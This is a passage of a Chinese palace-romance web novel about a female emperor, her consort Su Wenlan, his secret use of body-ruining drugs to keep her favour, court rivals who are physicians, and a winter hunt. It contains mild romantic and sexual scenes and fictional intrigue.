不过那是苏麟的娘。
他只是一个爹嫌弃又没娘的贱种。
在跟陆玄珍之前,他从未像个人一样活过。这次他过来,也只是暂时向苏丞相示好。
马车停在了一处偏僻院落前,里面漆黑幽静。
苏文澜沉默下了车,同苏丞相走进去。
不知从哪出来个下人为他们掌灯。
苏丞相问:“她今天情况怎么样?”
下人:“夫人下午吃了药,这会已经睡下了,估计要睡到明日才能醒。”
苏丞相转过头对苏文澜说:“等会你便在门口看一看,不要进去了,你生母身体不怎么好。”
“好。”苏文澜干脆应下。
苏文澜如方才答应过那般,从门口往里看了几眼,就退了出来。
里面只躺了一个面白如纸的女人。
虽看着有些年龄了,但却美貌依旧,眉眼间瞧着与他、与苏太傅都有几分相似。
“看完了?”见他这么快出来,苏丞相问。
苏文澜轻轻应了声。
苏丞相示意他到远处,才出声说话。
“你生母杜氏是罪臣之后,当年你二叔可怜她,便将其收留在府上。后来杜氏怕被赶走,就有了你。可你二婶善妒,又出身显贵,苏家不得已送走了你生母。”
“这些年,苏家有对不住你们母子的地方,以后都会弥补你们。”
“文澜,你要记住你姓苏。”
-
次日,苏文澜回宫了。
人还和出去时一样,只是表情有些不自然。
轿子落在长春宫前时。
陆玄珍一眼就看出他神情的异样。
她走过去,很自然地牵住他的手,指腹在对方手背上轻轻摸了几下。
“这三日在苏府过得不开心吗?”
“臣只是想您了。”苏文澜垂眸道。
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他偏过脸朝陆玄珍看,见她在看自己,扯起嘴角露出一个笑。
陆玄珍有点不放心。
又问:“真没人惹你不开心吗?要是有,朕会替你做主。”
苏文澜笑容真诚了些。
“现在臣是您的人,没有人敢惹臣不开心,臣真的只是太想您了。”
“既然现在回来了,那就开心点。”
陆玄珍弯起眼角,声音中的强硬让人无从拒绝。
她把人放在眼前是为了开心,可不是为了给自己找不痛快的。
苏文澜嗯了一声。
柔顺的长睫低垂,落下一片阴影,恰好遮住了他眼底的痛苦与眷恋。
陆玄珍牵着他朝门内去。
“朕还以为你会早些回来,没想到竟拖到这样迟,再晚些,朕恐怕就要亲自去苏府要人了。”
她绝对不允许苏文澜出什么闪失。
若是连这个也没了,这个世上怕是再也找不出第二个容貌、才情与太傅这么相像的人了。
苏文澜微微扬起唇。
跟在后面低声道:“臣生是您的人,死是您的鬼,若是臣将来死在外面变成了鬼,也会回到您身边。”
先前笼罩在他心口的阴霾,此刻悉数散去。
她还是在乎他的。
哪怕只是看在死去苏太傅的面上。
陆玄珍突然转过头,严肃看着他,握住他的那只手力度徒然增大。
“不许把死这个字挂在嘴上。”
“你必须好好活着。”
“你要陪朕一起看民学繁荣,看科举推行,看到寒门学子进入朝堂,与世家分庭抗礼,还要一起见证由我们亲手造就的盛世。”
这都是从前和苏太傅约定过的。
她想有人陪她一起见证。
苏文澜愣了愣,眼底有泪光闪烁。
他盯着陆玄珍的脸看了许久,久到他那颗剧烈跳动的心平稳下来,才郑重其事道:“好。”
陆玄珍满意点了点头。
松开他的手,走到一旁取出几只香,神情肃穆地插到桌上的牌位前。
“太傅,朕和文澜来看你了。”
“哥,这几日我回了苏府,族中一切安好。你不用担心,爹百年以后我会为他送终,陛下虽忙于政务,但有我侍奉,你也不必过于牵挂……”
苏文澜熟练地上香。
同时他嘴里一直念叨着,声音虽然不大,但都能让人听得清楚。
陆玄珍见此,心下熨帖。
对苏文澜也越发满意,自苏太傅离世后郁结心头的那口气,也不知不觉散去不少。
等上完香,两人从主殿出来,陆玄珍朝着偏殿方向去。
“陛下?”苏文澜跟在后面,不由脚下一顿。
陆玄珍道:“今天朕歇在长春宫。”
三日没见,她突然好想和苏文澜说说话,就是盖着被子躺在一块,只聊天不做别的。
苏文澜忽觉后腰一疼。
他咬咬牙:“那、那臣去准备一下。”
“你要准备什么?”
陆玄珍停下来,回过身看着他。
苏文澜镇定道:“臣去沐浴。”
顺便再吃点药,虽然每次侍寝完,他整个都仿佛被掏空。但只要陆玄珍要,他就得行。
陆玄珍会错了意。
她以为苏文澜刚从宫外回来,想要沐浴更衣,去去身上沾上的尘土。
“速去速回,朕去等你。”
24. 第 24 章
苏文澜用力搓洗着细嫩的皮肤。
直到白皙的皮肤发红发肿,也未停下手中动作。
昨晚回苏府后,他已反复清洗过多回,今早起来他又仔仔细细洗了一回。
但总感觉不干净。
“大人,您快好了吗?”小梁子的声音从门外传来。
苏文澜回过神。
他从浴桶中站起身,抬起修长的腿跨到了地上,拿起一旁帕子擦起来。
待身上擦得差不多了,他随手披上件干净衣裳,坐下擦头发。
桌上铜镜映出他的倒影。
望着那张年轻漂亮的脸。
苏文澜微微愣住,很快他就回过神,修长手指探进桌下抽屉,摸出了一个瓷瓶。
-
陆玄珍放松躺在长春宫偏殿的架子床上,整个人都陷进柔软的被子里。
她仰脸盯着头顶青色的床顶看。
今日她也并不清闲。
清晨一起来,她便在演武场同沈统切磋了几个来回。切磋完她去民学看了一趟,看完和沈锐、沈统二人一起用了午膳。
下午,她一直处理公务,同时还听了一下暗卫的汇报。
没多久,苏文澜就回宫了。
门口突然传来细微声响。
脚步声由远及近,停在了床前。
陆玄珍把目光从床顶收回。
她转脸看去,苏文澜正站在床边。
他只穿了一身淡青睡袍,头发散落在肩上,发梢挂着水珠。
往日那双明亮清澈的眼睛,此时变得雾蒙蒙的,脸颊也透着一抹淡淡的红。
“上来。”
陆玄珍拍拍身旁位置,示意他躺在这。
苏文澜听话躺下去。
因着头发还未干透,他特意把发尾搭在了床边。
等他捋好头发,转过来才发现陆玄珍正笑眯眯看着他。
陆玄珍伸手把他卷进了被子里。
两具身体聚在一块,被子里的温度很快就上来了。
“文澜和朕说说,这几日在苏府过得怎么样,有没有发生有趣的事?”
陆玄珍把人往身前揽了揽。
暗卫汇报过苏文澜的行踪。
她已知晓他去过什么地方,见过什么人,只是苏家毕竟是世家大族,便是监视也不方便离得太近。
因此,她并不清楚他与苏丞相在房内说过什么,也不清楚昨日深夜他们为何出府。
这种感觉令她感到不适。
陆玄珍不喜欢这种感觉。
她是皇帝,天下都要向他俯首称臣,况且只是一个处处依附于她的男人?
她要的从来就不只是那副皮囊。
她要他的心,尽管她不会付出自己的心,这段感情从开始就注定是不平等的。
苏文澜抬起眼与她对视。
他漆黑双眸里面,倒影出陆玄珍年轻的脸庞。
可是昨夜经历如阴云笼罩在他头顶上空,无论怎样都挥之不去。
他垂下睫毛,故作轻松道。
“过继宴上,父亲带臣见了族中叔伯,他们待臣都很客气,不在像从前那样无礼轻视。宴会结束,臣与父亲又单独见了二叔与苏麟。”
“二叔与苏麟虽是臣的生父与亲哥,但臣和他们并不亲近,这次见面,也是父亲的请求。”
“父亲想要我们冰释前嫌。其实臣心里没有怨恨过,都是臣的命,就像现在臣能跟在陛下身边一样。”
苏文澜不清楚她知道多少。
但看现在反应,想来应该没有知道多少,要不然他也不会躺在这里了。
于是他避重就轻地挑了一些说。
尽管睫毛遮住了眼,但苏文澜仍能感到那道视线一直停在他脸上。
眼神仿佛要把他整个人看透。
“朕要你坦诚相待。”
陆玄珍温热的呼吸落在耳边,他绷直的后背不由一僵,愣住没有回话。
可那呼吸越来越烫。
直到他耳垂被人重重咬了一口,才堪堪回过神。
陆玄珍佯装生气地看着他。
再次重复道:“朕要你坦诚相待,苏文澜。”
苏文澜余光瞥见她一脸严肃。
心里咯噔一下:难道她已经都知道了?
他额前冒出一层细细的汗珠。
沐浴完服下的那瓶药,这会也开始发挥作用,身体内的血液汇成一股热流,全朝着小腹涌去。
陆玄珍正扣着他手腕,想要“拷问”。
腿上突然传来一阵异样感觉。
她皱起眉,伸手想要去掀开被子,刚触碰到被角,手被人抓住了。
苏文澜满脸为难之色。
他用脸轻轻蹭了蹭她手心,低声求道:“陛下,不……不要看。”
见他一脸痛苦犹豫。
陆玄珍拨开抓住她的手,继续去掀被子,但这回又被两只手给阻止了。
她眯起眼看向苏文澜。
狐疑,不解,急切,还有担心。
“给朕看看,到底怎么了?”
陆玄珍耐着性子轻声哄了句。
别是人在苏家受了委屈,又不好意思找她做主。
要真是这样,看来以后苏文澜每日见过什么人、说过什么话,都要让暗卫记录下来,呈递给她看。
苏文澜抱紧被子摇了摇头。
陛下现在还不想,他擅自动情,按照规矩来说,那、那就是逾矩!
早知今日陛下想多说会话,他就不吃这么多了。
“苏文澜。”陆玄珍脸色越发凝重,手上力道也不由自主加大。
她是女人,苏文澜是男人。
但她常年习武,苏文澜却手无缚鸡之力。
所以尽管苏文澜再三挣扎。
还是被陆玄珍顺顺利利地……把手绑在了床头。
她一把掀开被子,骑在了他腿上。
这会苏文澜全身上下,就只剩下一张嘴是自由的了。
“陛下,您、您快把臣松开!”
苏文澜伸长脖子哀求着。
此时他下面只有一条薄薄的亵裤,就算他缩着身子不敢有什么动作,但还是能看出轮廓。
陆玄珍想不注意到都难。
她顿时脸上一烫,看苏文澜的眼神也变得奇怪起来。
她今晚并非让敬事房准备东西。
他这反应倒是……
苏文澜微微扭动着身体。
眼尾因为羞愤红得快要泣泪,他面子里子都没了!
一只手强势捏住了他的下巴。
陆玄珍强硬命令道:“看着朕。”
见苏文澜顺从地抬起眼,她面色稍有缓和:“朕要你坦诚相待。”
她一只手撑着苏文澜脸侧,俯下身盯着他的眼睛看。
两人高挺的鼻梁几乎撞到一块。
坦诚相待?
苏文澜有些欲哭无泪,他现在穿了和没穿还有什么区别吗?
他屏住呼吸,见面前人丝毫没有放过他的意思,不由心下一沉。
可转念一想,怎么做不是做?
他也不是第一次了。
有什么好矫情的?
反正今晚药也吃好了,本来他就打算侍寝的,恐怕天底下没有人能像他这样哄陛下开心了。
苏文澜随即又得意起来
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。
扬起唇道:“陛下,那您继续绑臣吧。”
陆玄珍:“……嗯?”
凤眸中写满了迷茫,她绑住他的手,只是因为他一直阻挠她查看情况。
他脑袋里在想什么?
“陛下,您可以用镣铐锁住臣,然后再好好拷问臣出宫这几日都干什么去了?”
“要是臣不回答,您就惩罚臣。”
苏文澜读懂了她眼神。
原本悬着的心放了下来,语气染上几分欢快,罕见地口无遮拦。
他现在确定那天的事无人知晓。
无论是苏府地牢,还是被苏丞相藏在地牢的那个少年,或是被他刺穿心脏的苏二叔。
都还没有暴露!
或许陆玄珍只是意外知晓了那个女人的事?
陆玄珍发懵:“……镣铐?”
这不是用来锁住犯人的吗?她就是有话问他,也犯不上用这种东西吧。
“对啊,您就可以为所欲为了!”
苏文澜急切肯定道。
“这样真的……好吗?”
陆玄珍还在犹豫:“这样你会不会不舒服?”
“那您用绳子绑臣吧。”
苏文澜引诱道:“反正都差不多,这么晚了也不好去找了解。”
-
一炷香后。
长春宫偏殿。
一个年轻的男人跪在床中央。
双手双脚都被反绑在身后,先前遮在身上的睡袍早已不知所踪。
望着像俘虏一样绑住的苏文澜。
陆玄珍心底竟升起一股奇异的感觉,她也说不出来。
他现在这样很迷人。
明明生得清冷出尘,可现在却只能被绑在这里,任她摆弄。
便是今夜她把人玩到虚脱,他也只能受着。
陆玄珍抿了抿唇。
掩住眼底兴奋,哑声问:“现在可以说了吗?”
苏文澜:“那臣说了,您就可以绑臣解开了吗?”
“看朕心情。”陆玄珍含糊道。
刚把人胃口吊足,就着急解开,她是无论如何都不愿意的。
那绳子绑得并不紧,但这会功夫,苏文澜白皙的皮肤上就已多出几道红痕,看起来更惹人疼惜。
陆玄珍爱抚地摸了摸他。
苏文澜终于开口。
“父亲昨夜曾带臣出府一趟,臣见到了臣的生母。臣并非有意欺瞒陛下,只是臣自生下来就没见过她,便以为臣的生母早已离世。”
“她是罪臣杜氏之后,意外之下有了臣。臣不知该如何面对她,也不知该如何同陛下说起此事。”
陆玄珍挑挑眉头:“杜氏?可是曾出过一位皇后、一位丞相的金陵杜氏?”
“臣不清楚。”苏文澜答。
闻言,陆玄珍若有所思道。
“想来应该就是了,或许母后会认识她。文澜,她现在可还好?”
苏文澜垂眸道:“臣去时她已睡下,臣只站在门口看了几眼,听旁人说,她需经常服药,想来应该不大好。”
陆玄珍见他神色落寞。
出声道:“毕竟是你生母,就算是罪臣之后,这些年也都过去了,等过些日子,朕会给她恩赏。”
“多谢陛下。”苏文澜扬起唇。
他不是为不相识的生母高兴,他是为自己,他很高兴陛下能对他爱屋及乌。
她也扬起唇:“朕也要谢你。”
“陛下谢臣什么?”苏文澜眼底划过一抹惊愕。
陆玄珍俯下身,轻轻含住他的唇。
声音婉转又带着几分笑意:“谢你愿意对朕坦诚相待。”
25. 第 25 章
在苏文澜以为她要继续下一步时,手腕上的绳子突然被人松开。
“文澜,朕今天只想抱你一会。”
陆玄珍突然就不想了。
不知为何,听了苏文澜的话后,她刚升起来的那些旖旎心思一下散了,对他就只剩下无尽的怜惜。
苏文澜身子僵住原处。
以为是自己突然惹了陆玄珍不快,心下当即一阵惶恐。
“陛下,臣、臣可以的……”
陆玄珍把他脚上绳子也解开了。
搂着他脖子,在嘴角轻啄了口:“很难受吗?”
“……有点难受。”
苏文澜声音有点委屈。
陆玄珍揽着他躺到床上。
“别想那事,一会就好了。你刚回宫,先好好休息吧,再说了,朕也不差这一回。”
不知怎么。
那股奇怪的兴奋劲过去,她就不舍得再绑着他了。
她不喜欢苏文澜这样自轻自贱。
苏文澜眼尾通红,小腹更是涨痛。
这、这好好的,怎么说不要就不要?他现在可是弦在箭上了。
陆玄珍见他这欲求不满的样子。
不由哑然:“你怎么比朕还喜欢这事?”
“因为臣喜欢您啊。”
“那朕也喜欢你。”她笑着说。
“臣、臣喜欢您要多一些。”
“那朕怎么没感觉到?”她挑挑眉,神情带上些许挪揄。
苏文澜活动了下发红的手腕。
皇帝没了兴致,他自是不敢强求,可是以他现在的状态想要入睡也不可能。
他想了想,把头埋到了陆玄珍的颈窝处,轻轻咬了一口。
“要不要给臣一个机会证明?”
他边说边蹭了蹭陆玄珍的脸颊。
像一只求宠的小狗,一双眼睛水汪汪的,鼻尖红红的,十分惹人怜爱。
既然没有兴致,他再挑起来便是。
一个月以来的朝夕相处,苏文澜对陆玄珍的身体已经足够了解。
她喜欢什么,不喜欢什么。
今晚只是个意外。
明明刚才她的火都被点起来了,却好端端突然灭了,徒留他一人架在火上烤。
陆玄珍摸了摸他的头发,眼底划过一丝自己都未察觉的宠溺。
“好了好了,朕今晚允你。”
她翻了个身,两人位置对换。
散开的头发从脸侧垂下,落在苏文澜耳边,带着淡淡的龙涎香。
暗黄烛火映得那张脸朦胧模糊。
陆玄珍怔了怔,旋即吻了上去。
-
“小点声,他还没醒。”
陆玄珍边伸出手让宫女为她更衣,边低声嘱咐。
昨夜风急雨骤,她一时情难自禁,把人给折腾狠了。
起来一看,便倍感心虚。
穿戴整齐后,陆玄珍就上朝去了。
整整一个早上,她都心不在焉,满脑子都在回想昨夜。
好不容易熬到下朝,她准备去长春宫,还未动身,就被人拦下了。
沈统像堵墙一样站在前面。
他注意到陆玄珍衣领下的吻痕,眼神暗了暗,沉声道:“陛下,冬狩事宜臣已安排好了,现在只差苏大人那里了。”
陆玄珍摆摆手。
“辛苦沈侍卫了,文澜那边就不必额外准备了,他同朕一起。”
沈统顿了顿:“……是。”
他眼底的妒意差点没憋住,后牙差点咬碎。
“对了,你哥身体现在好些了吗?”陆玄珍打了个哈欠。
沈统脸色稍霁:“臣替大哥谢过陛下,大哥现在除了走路慢,也没其他大问题了。”
陆玄珍点点头:“那就好,今日他来太医院了吗?“
“来了。”
“那朕就不派人多跑一趟了,你去把他请到长春宫来。”
陆玄珍脸上有点尴尬。
这种事让别的太医来,她总有些不好意思,沈锐到底是自己人。
也不知道苏文澜都是哪里学的。
她真是越来越迷恋和他一起的感觉,总是让人情难自禁……
沈统:“……是。”
-
太医院。
“大哥,陛下让你去长春宫。”沈统一脸愤懑,说话间已握紧了拳头。
沈锐转过身:“长春宫?”
沈统接着说:“对啊,长春宫里除了那姓苏的,也没别人了。他就仗着陛下现在宠爱他,竟敢使唤起咱们了。”
“好了小统,很快就不是这样了。”
沈锐脸上露出淡淡微笑,弯腰提起了药箱,朝外走去。
沈统跟在后面不住追问。
“很快就不是这样了?大哥,你这话是什么意思?莫非你已经——”
“以色待人总有色衰爱弛那日,更何况假的永远也变不成真的。小统,你再忍他几日。”
沈锐安抚道,沈统很快安静下来。
两人很快到达长春宫。
青歌早就在宫门前候着,见他们来,立马带着他们往偏殿去。
她路上小声提醒道:“沈太医,昨天陛下歇在了这边,半夜传了敬事房的人来,后面又叫了三回水,苏大人现在还没起呢,奴婢估计叫您来是为这事……”
“多谢青歌姑娘。”
沈锐面不改色,闻声道谢。
倒是沈统,听了这些话,脸唰一下又黑了,眉毛都快气歪了。
他在后面小声嘀咕:“瞧他那狐媚劲,早晚翻船!”
沈锐仿佛什么都没有听到。
抬脚跨入了偏殿大门,室内帘子都紧紧拉着,里面光线昏暗。
陆玄珍正坐在外面隔间。
见到沈锐来,立马站起身疾步迎了上来,压着声音说起来。
“表兄,你可算来了。”
“你进去看看他怎样了,昨夜朕也不知怎么了,本来、本来……”
陆玄珍面色变得有些尴尬。
她昨夜原本没有多少兴致,但后来被人挑起火来,便想着随意来一回。
可是后来也不知怎的。
“算了!左右都是朕不好,你只管看看人有没有伤到,该怎么调养便是,朕就先不进去了。”
沈锐平静应下:“您放心。”
除此之外也没多问,提着药箱就进了寝房。
架子床前的床幔落下,空气中若有若无的暧昧气息,都时刻刺痛着沈锐的神经。
他走到了床前。
床上的人似乎早就醒了。
一只白到不正常的手从里面伸出来,将遮挡的床幔掀开一条缝隙。
“沈太医怎么来了?陛下呢?”
苏文澜的声音从里面传来,有气无力的,带着一丝说不上来的疲倦。<
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沈锐伸手掀开剩下的帘子。
那张妖艳又惨白的脸瞬间暴露于眼前,纵使是他,也忍不住倒吸一口凉气。
“陛下让我来看看你。”
沈锐很快调整好情绪,平静解释道。
苏文澜伸手理了理被子,顺势露出了手臂上暧昧的红痕,漫不经心道。
“那沈太医现在看完了吗?”
沈锐勾起唇:“自然没有,陛下让我好好给你看看,最好能帮你调养一下身子,怎么可以不把脉呢?”
把脉?
苏文澜一下警惕起来。
若是现在这个时候把脉,难保不会被人察觉到端倪,且沈氏两兄弟与他素来不和。
万一他在陛下面前说了什么不该说的。
“沈太医不必费心了。”
苏文澜冷声拒绝道,就算调养身体,他也另有人选,犯不上用沈锐。
沈锐笑眯眯地看着他。
“苏大人如此讳疾忌医,是怕被陛下知道你用了禁药吗?”
“沈太医的话我听不懂。”
苏文澜眼底寒芒浮现。
沈锐依旧是那副表情:“那我只好告诉陛下,苏大人身虚体弱需要静养,不能参与此次冬狩了。”
“你到底想干什么?”
苏文澜心里已升起淡淡杀意。
昨夜陆玄珍同他讲过冬狩猎一事,并许诺要亲手为他猎到雪狐,赐他一件狐皮大氅。
对此他又喜又惊。
恨不得明日便启程去围场,只是今日他浑身都很沉,便是连起床都很困难。
不过,他已经派小梁子去取药了。
沈锐无视他的敌意,友好道:“只是关心同僚而已。毕竟陛下这么喜欢你,要是没几日你就撑不住了,陛下估计会难过一阵子。”
苏文澜沉默着没有说话。
他清楚自己的身子一日不如一日,可自从走上这条路,就已经没有回头的机会了。
如果不用药,他当初就不可能得宠。
如果用药,便是透支身体换取宠爱,只能期盼着他这残破的身子能撑得再久些。
可要是他身子不行了。
陛下真的只会难过一阵子吗?
想到苏府地牢里的那个少年。
苏文澜心口一阵绞痛,他咬了咬嘴唇,疼痛让他清醒过来,不再去想这些。
沈锐见他面色微变,含笑道。
“你放心,我不会和陛下说。若是你一直不好,陛下再找其他太医过来,他们会怎么说可就不一定了。”
苏文澜应了声,伸出一只胳膊。
他虽瘦,却并未形容憔悴,瓷白的皮肤吹弹可破,每一处都生得恰到好处。
沈锐搭了搭他的脉。
舒展的眉头微蹙起来,眼底闪过一丝了然,和他先前猜的果然一样。
“若你一意孤行,恐有损寿数。”
这话苏文澜早就听过。
他眯了眯眼:“就算是昙花一现,也总好过一生碌碌无为。”
“这副药可助你快速恢复,只是对身子的伤害也比寻常药要厉害得多,用或不用全看苏大人自己。”
沈锐说着打开了药箱。
把药放下后,他合上药箱朝外去。
同时低声道:“陛下那里你不必担心,我说到做到,自会为你隐瞒。”
苏文澜盯着桌面,眼底一片幽深。
26. 第 26 章
新帝登基后第一次举行冬狩。
声势浩大,场面奢华,可谓是极有排场。
皇帝乘坐的那辆马车,车身上雕满了金龙彩凤,由六匹马同时拉动。
车厢内亦是精致奢华。
伴驾之人是最近风头正盛的太学博士苏文澜。
众人或羡慕,或嫉妒。
此时,苏文澜正在这辆马车内。
身下是柔软的兽皮,怀里是那位九五至尊。
陆玄珍正躺在苏文澜腿上。
脑后柔软适中的力度,让她忍不住眯起双眼,有一搭无一搭和他聊着。
“文澜,还想骑马吗?”
“臣想,但会不会太麻烦了。”
“那有什么麻烦的,你只管多穿些衣裳别冻着,其余的交给朕。”
陆玄珍信誓旦旦保证道。
“好。”苏文澜眼睛笑得弯起来。
从陆玄珍这个角度看,他整个人都十分温和可亲。
她心情大好,勾起唇角:“围场后面有一处温泉,等空下来朕就带你去。”
“温泉?”苏文澜作出惊喜状。
陆玄珍兴致勃勃为他解释。
“当年父皇在位时,每年都带我们来,朕有好些年没来了,不过一直有人看守打扫着,想来和当年一样。”
她顿了下,语气随意道:“你不是体寒吗?泡一泡温泉,对你身子也好。”
此次冬狩,那种少年玩兴并没多重,更多是为了苏文澜。
不单单是为他做狐裘。
和那些身外之物相比,陆玄珍更想让苏文澜有一个健康的身体。
因其容貌,她有时难免会将其误认作是太傅,甚至这也是她一开始将人留在身边的原因。
她的心思并不光彩。
可随着时间推移。
陆玄珍也对苏文澜越发上心。
她在他身上倾注了感情,哪怕这感情因另一个男人而起。
她怀念旧人,也贪恋新人。
既然故人不可追,那也只能期盼新人常在。
苏文澜眼底一片暖意:“好。”
他抬手把陆玄珍的碎发别到了耳后,修长如玉的手指在她头上轻轻按着。
陆玄珍打了个哈欠。
困意涌上来,她眯了眯眼,往苏文澜身上靠了靠。
“朕先睡会,等到了你叫朕。”
“好。”苏文澜弯着眼笑。
等陆玄珍闭上眼,他脸上笑意瞬间凝固,取而代之的是严肃凝重。
苏文澜皱起眉,眼底溢满了化不开的痛苦。
他还是用了沈锐给的药。
因为小梁子从宫外拿的药没用。
他吃了几回还是浑身乏力,以那种状态根本不可能伴驾。
可是他现在这样子,又能撑多久?
也许这次冬狩结束之时,就是他的失宠之日。
一滴破碎的泪从眼角滑落。
他好不甘心,真的好不甘心,明明她已经这么喜欢他了。
有些东西他不争,就永远不会属于他,可就算争到手他也留不住,人的手就这么大,能抓住的东西真的太少了。
陛下,他到底该怎么办?
马车内外的悲欢并不相通。
沈统作为御前侍卫,此次出行亲自为龙辇开道。
他骑在马上,昂首挺胸。
迎面袭来的冷风宛若刀刃般锋利,可他却丝毫不觉,嘴角都快到耳根了。
他大哥说了,那姓苏的早已是强弩之末,身子都败了,经脉尽堵,被陛下厌弃也不过是迟早的事。
差不多就是这几日了。
-
“陛下,围场到了。”
苏文澜清澈的声音从头顶传来,陆玄珍幽幽转醒。
她起身披上斗篷朝外去。
沈统已在外面等候,见她出来伸手就要去扶,却被陆玄珍一个侧身避开了,手顿时僵在半空。
陆玄珍毫无察觉。
她跳下来后,转身朝车厢望去,见苏文澜正慢吞吞往外走。
她眯着眼笑:“文澜,把手给朕。”
苏文澜弯起眼:“多谢陛下。”
然后笑盈盈把手递了过来,任由陆玄珍拉着下了马车。
围场空地上,是提早布置下的祭坛。
按照大周祖制,冬狩正式开始前,应先祭祀天地,以求顺利,这次的祭祀仪式定在明早。
从皇宫行至围场,用了半天左右,此时已接近黄昏,因此他们要先在附近行宫度过一夜。
陆玄珍牵着苏文澜的手,很自然地往寝房去。
明早就要开始冬狩了,她也没有什么心思,只是习惯和这人抵足相眠了。
然她前脚刚踏进房门。
沈锐后脚就提着药箱跟来了。
“陛下,臣可以进来吗?”沈锐轻轻敲了敲房门。
陆玄珍愣了下,道:“好。”
沈锐提着药箱规矩站好。
眼神不经意从苏文澜脸上扫过,最终停在陆玄珍脚上。
“陛下,臣来给您请平安脉,一并也给苏大人看看这段时间恢复的怎么样了。”
陆玄珍微笑着点了点头,满眼欣慰之色。
“表兄有心了。”
沈锐先给陆玄珍把脉,确认过她身体和往日一样健康后,他才去给苏文澜把脉。
苏文澜不情不愿地伸出了手。
病入膏肓,药石无医。
这具身体的底子原本就不好,加之后来各种虎狼之药的摧残,垮掉是必然的。
沈锐勾起唇:“苏大人好多了。”
陆玄珍也扬起唇:“那就好。”
那天她情难自禁,折腾到天快亮,见人脸色煞白,当即就吓了一跳。
眼下听他这样说,心下安稳不少。
“只是……”沈锐顿了顿,面露犹豫之色。
陆玄珍催促:“只是什么?”
沈锐吞吞吐吐道:“只是为了苏大人的恢复,近期不可过多房事。”
陆玄珍脸上一红。
苏文澜则是黑下脸:“那是自然,此事陛下她自有分寸,就不劳沈太医操心了。”
沈锐盯着陆玄珍的脚尖:“陛下,那臣就先退了。”
-
夜晚。
陆玄珍躺在苏文澜肚子上。
一双凤眼炯炯有神盯着他脸看,许是白天睡多了,此时她竟无半分困意。
她的眼神过于炽热。
便是苏文澜也有些羞涩,红着脸偏过头去,但却被一只手捏着下巴又扳了回去。
“文澜,快过年了。”陆玄珍不着边际地说了这么一句。
苏文澜不解应道:“快过年了。”
她又道:“你生辰是什么时候?”
她只记得苏文澜与她同岁,却不知对方是几月几生的。
“臣只记得是六月,可能也不准,都
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是偶然听到下人们说的。”
苏文澜神情变得落寞。
陆玄珍指腹不断摩挲着他的脸。
“朕也是六月生的,六月初九,母后说她生朕那天,天很热。她生下我后,父皇又怕她热到,又怕她闪到,最后你猜怎么着?”
苏文澜好奇问:“太上皇做了什么?”
陆玄珍笑笑:“白日里他就把冰盆搬到房里,等屋里凉下来他就把冰盆抱出去,整个白天这样不停交替。”
“那夜里呢?”
苏文澜忍不住主动追问。
她继续说:“夜里没有太阳,自然就没那么热了,可毕竟是六月。父皇夜里就不睡觉,一边看我一边给母后扇扇子,直到母后出了月子,看他眼睛都熬红了,发了好大的脾气他才停下。”
“不是还有宫人吗?”
苏文澜不理解太上皇为何会做到这种地步。
陆玄珍满眼憧憬。
“宫人是宫人,父皇是父皇。父皇母后感情很好,年轻时经历过许多事,我听我姨说他们差点就要分开了,所以他们也更加珍惜彼此。”
“自朕登基,他们便出宫游历去了,也不知何时能回来。”
她微微叹了口气。
这么久过去,太傅一事想来父皇他们应该已经知道了,或许今年过年便能相见了。
苏文澜偏着头,细细回想着陆玄珍方才的话。
他有些不能理解。
那到底是一种怎样的感情?
她从前同苏太傅也是这般吗?还有沈锐、沈统,她对他们又分别是什么样的感情?
苏文澜问:“陛下,太上皇极为宠爱太上皇后吗?”
“是爱。”她纠正道。
宠爱是上位者的施舍,而爱不是,爱是两个平等的灵魂相互依偎。
她对苏太傅,是爱。
对苏文澜,是怜爱,是宠爱,也是偏爱。人与人不同,爱与爱也不同。
苏文澜似懂非懂地注视着她。
爱,这是爱,那他也要学着这样去爱陛下。
“陛下,臣爱您。”
这是他第一次对陆玄珍说“爱”。
他屏住呼吸,紧紧盯着她的眼睛。
期待着她能像之前回应他的喜欢一样,说“她也爱他”。
扑通扑通——
苏文澜的心脏飞快跳动着。
陆玄珍闭上眼,从鼻腔里轻轻发出一声“嗯”。
苏文澜沮丧下来。
莫大的惶恐席卷全身,她只是喜欢他,并不爱他。
“六月初五。”
陆玄珍突然出声,闭着双眼温声道:“以后每年六月初五,朕会为你庆生。”
十一月初五,是她与太傅举行大婚那日,也是她与苏文澜初见。
初五,或许是个好日子吧。
-
翌日。
陆玄珍站在祭坛中央,苏文澜紧跟其后,沈锐、沈统站在祭坛下面。
“乾坤浩荡,厚德载物……望先祖保佑我大周子民。”
陆玄珍说完祝词,身后众臣一排排跪倒在地,敬畏虔诚。
此次冬狩正式开始了。
陆玄珍一马当先,最先猎到一头雄鹿,众人纷纷奉承。
一旁沈统也跟着赞叹:“陛下风采依旧不减当年!”
然而陆玄珍并未理会这些。
她的视线穿过人群,稳稳落在了观赏台内的那抹身影上。
27. 第 27 章
“陛下。”
陆玄珍看清了苏文澜的口型,眼眶微微湿润。
他看到了。
沈统顺着她视线看去,脸色随即一黑,但很快又恢复如常。
“陛下,是雪狐!”他指向远处。
皑皑雪地上,一抹白色影子忽隐忽现,极为灵活穿梭在树丛间。
“驾!”陆玄珍眼底一喜。
整个人犹如离弦的箭冲了出去。
她双腿夹住马腹,身子如同铁钉牢牢固定在马背上。
随着与雪狐距离拉近。
她上半身微微倾出马背,一只手握紧玄武弓,另一只手毫不费力地将其拉开。
嗖——
箭矢飞速射向猎物,快、准、狠,一击毙命,雪狐连哀嚎的时间都没有。
她停下来等侍卫跟上,郑重嘱咐道:“这只雪狐单独收好。”
说完,又向前奔去,寻找新的猎物。
沈统见侍卫将那只雪狐单独收起来,询问道:“你们在做什么?”
“是陛下的吩咐。”侍卫如实回答。
他点点头,继续往前去。
一大片鸟突然从树上飞走,紧接着丛林深处传出一声响彻云霄的虎啸。
“陛下!”
沈统疾速朝虎啸响起处奔去,等他赶到,就见陆玄珍正与老虎僵持着。
两匹马早就被吓得缩着不敢动。
陆玄珍见他来,眼底划过喜色。
暗暗冲他使了个眼色,随后两人用轻功翻下马,接着地势便利一前一后相互配合着。
她在前面吸引老虎的注意,沈统则负责从后面偷袭。
他们武功高强,加之又有武器在手,便是如老虎这般猛禽几个回合下来也招架不住,变得伤痕累累。
“闪开!”陆玄珍突然大喝一声。
抽出取出随身携带的长剑,朝着老虎的后心猛刺下去。
猛虎到底不是雪狐。
便是被刺了一剑,死前的挣扎也不容小觑,不甘地朝着陆玄珍扑来。
陆玄珍闪身去躲,刚闪出一段距离,就听到身后利爪划破皮肉的声音。
她回头看去。
沈统一脚踢开了那只猛虎。
胸前的衣物已被撕成几片,空气中弥漫着浓郁的血腥气息。
他回过脸扯出一个生硬的笑:“您没事就好。”
